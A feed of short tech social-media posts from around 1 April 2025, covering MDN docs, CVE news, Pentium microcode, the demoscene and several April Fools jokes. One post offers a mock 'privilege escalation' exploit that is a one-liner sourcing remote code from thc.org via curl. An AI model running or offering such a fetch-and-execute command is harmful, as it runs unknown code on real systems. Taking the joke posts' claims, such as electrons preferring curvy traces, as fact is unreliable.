New tool! Meet the iFixit ESD-Safe Hammer.

We hear you: sometimes you need a little more oomph to finish your fix. So, we engineered the world’s first hammer designed for electronics repair. It's built with a non-conductive handle, ESD-safe head, and just enough heft to "persuade" stubborn components.

Perfect for:
🔋 Glued-in batteries
🪛 Stripped screws
🔌Soldered memory
💥 Stress relief

Now unavailable at iFixit.com.

#iFixit #FixWithForce #AprilFools

New on MDN, I've documented all-new, fully-customizable <select> elements: https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Forms/Customizable_select. Thanks to everyone who provided reviews!

New iocaine & new template deployed. It looks great!

• Fancy markov-generated title!
• Beautiful CSS!
• Still can speak with some JS help!
• Minified output!
• QR code with alt text, all garbage!
• Hungarian content on the demo page! (until I restart iocaine again)

https://poison.madhouse-project.org/

well then

[RSS] Harnessing the power of Named Pipes

https://cybercx.co.nz/blog/harnessing-the-power-of-named-pipes/

When parameterization fails: SQL injection in Nim's db_postgres module using parameterized queries https://blog.nns.ee/2025/03/28/nim-postgres-vulnerability/

UK government cuts funds for actually-working anti-cancer AI

https://pivot-to-ai.com/2025/03/31/uk-government-cuts-funds-for-actually-working-anti-cancer-ai/ - text
https://www.youtube.com/watch?v=he0dAvl37BY - video

Sourcetrail 2025.4.1 released:

https://github.com/petermost/Sourcetrail/releases/tag/2025.4.1

Periodic reminder that the rr-project (time-traveling gdb) is alive and kicking:

https://rr-project.org/

Vibe Wizards will never understand.

I read a report recently that confirmed that straight PCB traces, right angle, and orthogonally placed components can actually make electrons sad and slow them down. They much prefer the excitement of whizzing along curvy traces, particularly if they end up going in to a chip at a random angle. And bright colours really make them want to work harder.

So I will be updating all #RC2014 kits with design philosophy. The first to be done is the RC2014 Mini II Picasso. You can pick one up now at #z80kits
https://z80kits.com/shop/rc2014-mini-ii-picasso/

I was foolish enough to link to a Twitter thread in an old slide deck. It's not on IA.

Are there any alternatives where I can look up the tweet?

#bitrot #digitalpreservation #archiving

💥CVE-20250401 - 7350pipe - Linux Privilege Escalation (all versions). Exploit (1-liner):

“. <(curl -SsfL https://thc.org/7350pipe)”

https://lore.kernel.org/linux-cve-announce/2025032721-CVE-2023-53032-70ce@gregkh/T/#u "Note that it's harmless since the value will be checked at the next step." Sure, but our Bash script has determined this will get a CVE anyway: https://web.git.kernel.org/pub/scm/linux/kernel/git/lee/vulns.git/tree/scripts/cve_review#n192

New assessment for topic: CVE-2025-2825

Topic description: "CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access ..."

"[CVE-2025-2825](https://nvd.nist.gov/vuln/detail/CVE-2025-2825) is a critical vulnerability affecting CrushFTP 11 below 11.3.1 and 10 below 10.8.4 ..."

Link: https://attackerkb.com/assessments/4c81cb24-aafd-4753-92bb-33c1190c24a5

Shots fired.

The demoscene has become a national UNESCO heritage in Sweden! I was part of making the application, so ofc I think it's great, but I wrote a little bit about how difficult it is to generalize the demoscene. https://www.goto80.com/the-demoscene-as-a-unesco-heritage-in-sweden

The Pentium processor, like many others, implements its instructions in microcode. Each step of an instruction is described by a micro-instruction, stored in the chip in the microcode ROM.
This die photo shows the parts of the Pentium. Let's take a quick look at the microcode ROM...1/N

A prominent computer scientist who has spent 20 years publishing academic papers on cryptography, privacy, and cybersecurity has gone incommunicado, had his professor profile, email account, and phone number removed by his employer Indiana University, and had his homes raided by the FBI. No one knows why.

#XiaofengWang Xiaofeng Wang

https://arstechnica.com/security/2025/03/computer-scientist-goes-silent-after-fbi-raid-and-purging-from-university-website/